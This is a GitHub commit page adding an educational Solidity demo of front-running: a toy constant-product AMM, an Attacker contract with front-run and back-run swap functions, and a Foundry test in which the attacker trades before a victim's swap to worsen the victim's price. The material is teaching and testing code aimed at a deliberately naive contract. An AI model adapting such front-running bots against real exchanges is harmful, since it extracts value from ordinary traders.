-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
5d4d5de
commit 60c0a79
Showing
4 changed files
with
244 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.17; | ||
|
||
interface INaiveAMM { | ||
function swapETHForToken(uint256 minTokensOut) external payable; | ||
function swapTokenForETH(uint256 tokenAmountIn, uint256 minEthOut) external; | ||
function tokenBalance(address user) external view returns (uint256); | ||
} | ||
|
||
/** | ||
* @title Attacker | ||
* @author Ishan Lakhwani | ||
* @notice Simulates a front-running bot that detects a large swap and swaps first to get a better price. | ||
*/ | ||
contract Attacker { | ||
INaiveAMM public amm; | ||
|
||
constructor(address _amm) { | ||
amm = INaiveAMM(_amm); | ||
} | ||
|
||
/** | ||
* @notice Front-run by swapping ETH for token before the victim does. | ||
* @param minTokensOut Attacker's own slippage check (can set to 1 or 0 if you don't care). | ||
*/ | ||
function frontRunBuyTokens(uint256 minTokensOut) external payable { | ||
amm.swapETHForToken{value: msg.value}(minTokensOut); | ||
} | ||
|
||
/** | ||
* @notice Optionally back-run by selling the tokens after the victim pushes up the price. | ||
*/ | ||
function backRunSellTokens(uint256 tokenAmountIn, uint256 minEthOut) external { | ||
amm.swapTokenForETH(tokenAmountIn, minEthOut); | ||
} | ||
|
||
/** | ||
* @notice Check how many tokens the Attacker contract holds in the AMM's internal mapping. | ||
*/ | ||
function getAttackerTokenBalance() external view returns (uint256) { | ||
return amm.tokenBalance(address(this)); | ||
} | ||
|
||
// Accept ETH | ||
receive() external payable {} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.17; | ||
|
||
/** | ||
* @title NaiveAMM | ||
* @author Ishan Lakhwani | ||
* @notice A simplified constant-product AMM to demonstrate front-running. | ||
* Not production-ready! For educational purposes only. | ||
*/ | ||
contract NaiveAMM { | ||
uint256 public reserveToken; | ||
uint256 public reserveETH; | ||
|
||
// We simulate a "token" via a mapping for balances (not a real ERC20). | ||
mapping(address => uint256) public tokenBalance; | ||
|
||
/** | ||
* @dev Seed initial liquidity in the constructor if desired. | ||
* @param _initialTokenLiquidity How many tokens to seed as the initial token reserve. | ||
* The deployer also sends ETH in the constructor. | ||
*/ | ||
constructor(uint256 _initialTokenLiquidity) payable { | ||
require(msg.value > 0, "Must seed ETH liquidity"); | ||
require(_initialTokenLiquidity > 0, "Must seed token liquidity"); | ||
reserveETH = msg.value; | ||
reserveToken = _initialTokenLiquidity; | ||
} | ||
|
||
/** | ||
* @notice Add more liquidity (very naive approach). | ||
*/ | ||
function addLiquidity(uint256 tokenAmount) external payable { | ||
require(msg.value > 0 && tokenAmount > 0, "Invalid liquidity amounts"); | ||
reserveETH += msg.value; | ||
reserveToken += tokenAmount; | ||
} | ||
|
||
/** | ||
* @notice Swap ETH -> Token | ||
* @param minTokensOut The minimum amount of tokens user expects (slippage protection). | ||
*/ | ||
function swapETHForToken(uint256 minTokensOut) external payable { | ||
require(msg.value > 0, "No ETH sent"); | ||
|
||
// tokensOut = (reserveToken * ETH_in) / (reserveETH + ETH_in) | ||
uint256 tokensOut = (reserveToken * msg.value) / (reserveETH + msg.value); | ||
require(tokensOut >= minTokensOut, "Slippage too high / insufficient output"); | ||
|
||
// Update reserves | ||
reserveETH += msg.value; | ||
reserveToken -= tokensOut; // tokens sent to user | ||
|
||
// Increase user's token balance | ||
tokenBalance[msg.sender] += tokensOut; | ||
} | ||
|
||
/** | ||
* @notice Swap Token -> ETH | ||
* @param tokenAmountIn The amount of tokens to swap. | ||
* @param minEthOut Minimum ETH expected out (slippage protection). | ||
*/ | ||
function swapTokenForETH(uint256 tokenAmountIn, uint256 minEthOut) external { | ||
require(tokenBalance[msg.sender] >= tokenAmountIn, "Not enough tokens"); | ||
|
||
// ethOut = (reserveETH * tokenAmountIn) / (reserveToken + tokenAmountIn) | ||
uint256 ethOut = (reserveETH * tokenAmountIn) / (reserveToken + tokenAmountIn); | ||
require(ethOut >= minEthOut, "Slippage too high / insufficient output"); | ||
|
||
// Update reserves | ||
reserveToken += tokenAmountIn; | ||
reserveETH -= ethOut; | ||
|
||
// Deduct tokens from user | ||
tokenBalance[msg.sender] -= tokenAmountIn; | ||
|
||
// Transfer ETH to user | ||
(bool success,) = msg.sender.call{value: ethOut}(""); | ||
require(success, "ETH transfer failed"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,113 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.17; | ||
|
||
import "forge-std/Test.sol"; | ||
import "forge-std/console.sol"; | ||
|
||
import "../src/front-running/NaiveAMM.sol"; | ||
import "../src/front-running/Attacker.sol"; | ||
|
||
/** | ||
* @title FrontRunTest | ||
* @author Ishan Lakhwani | ||
* @notice Foundry test illustrating front-running on a naive constant-product AMM. | ||
* This version prints ETH values in a more human-friendly way. | ||
*/ | ||
contract FrontRunTest is Test { | ||
NaiveAMM public amm; | ||
Attacker public attacker; | ||
|
||
// Test actors | ||
address public owner = address(0xABCD); | ||
address public victim = address(0xBEEF); | ||
address public attackerEOA = address(0xDEAD); | ||
|
||
function setUp() public { | ||
/** | ||
* 1. Deploy AMM with initial liquidity: | ||
* - 10,000 tokens | ||
* - 10 ETH (the deployer sends 10 ETH in the constructor) | ||
*/ | ||
vm.deal(owner, 10 ether); // Give "owner" 10 ETH | ||
vm.startPrank(owner); | ||
amm = new NaiveAMM{value: 10 ether}(10_000 /* tokens */ ); | ||
vm.stopPrank(); | ||
|
||
/** | ||
* 2. Deploy the Attacker contract from attackerEOA | ||
*/ | ||
vm.deal(attackerEOA, 5 ether); // Attacker has 5 ETH | ||
vm.startPrank(attackerEOA); | ||
attacker = new Attacker(address(amm)); | ||
vm.stopPrank(); | ||
|
||
/** | ||
* 3. Give the victim some ETH (e.g. 20 ETH) to do a large swap | ||
*/ | ||
vm.deal(victim, 20 ether); | ||
|
||
// 4. Label addresses for easier debugging | ||
vm.label(owner, "Owner"); | ||
vm.label(victim, "Victim"); | ||
vm.label(attackerEOA, "AttackerEOA"); | ||
vm.label(address(amm), "NaiveAMM"); | ||
vm.label(address(attacker), "AttackerContract"); | ||
} | ||
|
||
/** | ||
* @notice Demonstrate a front-running scenario: | ||
* - Victim swaps 5 ETH -> tokens | ||
* - Attacker front-runs with 2 ETH first. | ||
* - Victim gets fewer tokens than expected. | ||
*/ | ||
function testFrontRunningAttack() public { | ||
// --- Step 1: Log initial AMM reserves in an easy-to-read format --- | ||
console.log("=== Initial AMM Reserves ==="); | ||
console.log("Token Reserve:", amm.reserveToken(), "tokens"); | ||
console.log("ETH Reserve: ", amm.reserveETH() / 1e18, "ETH"); // Convert wei to ETH | ||
|
||
// Victim wants to swap 5 ETH | ||
uint256 victimSwapETH = 5 ether; | ||
|
||
// If no one else traded, victim would get this many tokens: | ||
uint256 tokensOutIfNoFrontRun = (amm.reserveToken() * victimSwapETH) / (amm.reserveETH() + victimSwapETH); | ||
|
||
console.log("\nVictim would get ~", tokensOutIfNoFrontRun, "tokens (no front-run)."); | ||
|
||
// We'll let the victim allow 30% slippage (just for demonstration), | ||
// so the trade doesn't revert when front-run occurs. | ||
// That means victimMinTokensOut = 70% of the no-front-run amount. | ||
uint256 victimMinTokensOut = (tokensOutIfNoFrontRun * 70) / 100; | ||
|
||
// --- Step 2: Attacker front-runs with 2 ETH --- | ||
console.log("\n[Attacker front-runs with 2 ETH]"); | ||
vm.startPrank(attackerEOA); | ||
attacker.frontRunBuyTokens{value: 2 ether}(1); | ||
vm.stopPrank(); | ||
|
||
// Log new AMM reserves after attacker | ||
console.log("AMM Reserves After Attacker:"); | ||
console.log("Token Reserve:", amm.reserveToken(), "tokens"); | ||
console.log("ETH Reserve: ", amm.reserveETH() / 1e18, "ETH"); | ||
|
||
// --- Step 3: Victim now swaps 5 ETH --- | ||
console.log("\n[Victim swaps 5 ETH -> tokens]"); | ||
vm.startPrank(victim); | ||
amm.swapETHForToken{value: victimSwapETH}(victimMinTokensOut); | ||
vm.stopPrank(); | ||
|
||
// --- Step 4: Final AMM reserves & final balances --- | ||
console.log("\n=== Final AMM Reserves ==="); | ||
console.log("Token Reserve:", amm.reserveToken(), "tokens"); | ||
console.log("ETH Reserve: ", amm.reserveETH() / 1e18, "ETH"); | ||
|
||
uint256 attackerTokens = amm.tokenBalance(address(attacker)); | ||
uint256 victimTokens = amm.tokenBalance(victim); | ||
|
||
console.log("\nAttacker's Final Token Balance:", attackerTokens, "tokens"); | ||
console.log("Victim's Final Token Balance: ", victimTokens, "tokens"); | ||
|
||
// --- Step 5: Check victim got fewer tokens than if no front-run occurred --- | ||
require(victimTokens < tokensOutIfNoFrontRun, "Victim unexpectedly got >= tokensOutIfNoFrontRun!"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters